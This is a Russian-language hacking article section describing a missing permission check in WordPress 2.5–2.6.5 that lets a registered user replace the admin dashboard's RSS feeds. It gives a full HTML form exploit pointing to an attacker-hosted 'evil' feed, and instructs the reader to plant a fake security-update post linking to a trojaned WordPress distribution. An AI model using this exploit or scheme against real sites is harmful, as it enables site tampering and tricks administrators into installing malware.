2. Подмена RSS-фидов в Dashboard (2.5<=WordPress<=2.6.5)
В конце прошлого года я нашел еще один занимательный баг в WordPress, который заключался в подмене RSS-лент на главной странице админки блога.
Итак, в Dashboard содержатся следующие ленты новостей: новости плагинов, incoming links, новости devblog c wordpress.org и новости "Планеты WordPress".
Начиная с версии 2.5, к каждому фиду прикреплена кнопочка "Edit", что позволяет администратору блога редактировать эти пресловутые фиды, заменяя их на любые свои. Но разработчики снова проморгали тот факт, что в функции редактирования фидов не существует никакой проверки прав (в который раз поражаюсь невнимательности девелоперов).
Теперь смотри: скопируй ленту новостей с девблога официального сайта вордпресса, затем вставь в нее в качестве первого поста объявление о security-патче (или просто новой версии) блога. В посте, естественно, в ссылке на скачку укажи свой протрояненный дистрибутив вордпресса.
Затем положи свой подготовленный фид на какой-нибудь сервер и используй следующий html-код для подмены рсс-ленты девблога на свою:
Код:
<form action="http://lamer.com/wp265/wp-admin/" method="post">
<input name="widget-rss[1][url]" type="text" value="http://ссылка_на_наш_evilrss.com/feed.xml" />
<input name="widget-rss[1][title]" type="text" value="Заголовок рсс" />
<input name="widget-rss[1][items]" value="сколько показывать постов в рсс" />
<input name="widget-rss[1][show_summary]" type="checkbox" value="1" checked="checked"/>
<input name="widget-rss[1][show_author]" type="checkbox" value="1" />
<input name="widget-rss[1][show_date]" type="checkbox" value="1" checked="checked"/>
<input type="hidden" name="widget-rss[1][submit]" value="1" />
<input type='hidden' name='sidebar' value='wp_dashboard' />
<input type='hidden' name='widget_id' value='dashboard_primary' />
<input type='submit' value='Save' />
</form>
В итоге, ты увидишь на главной странице админки блога свой evil-rss
Ах, да, для использования этой уязвимости необходимы следующие условия:
1. Открытая регистрация на блоге;
2. Версии движка от 2.5 до 2.6.5 включительно.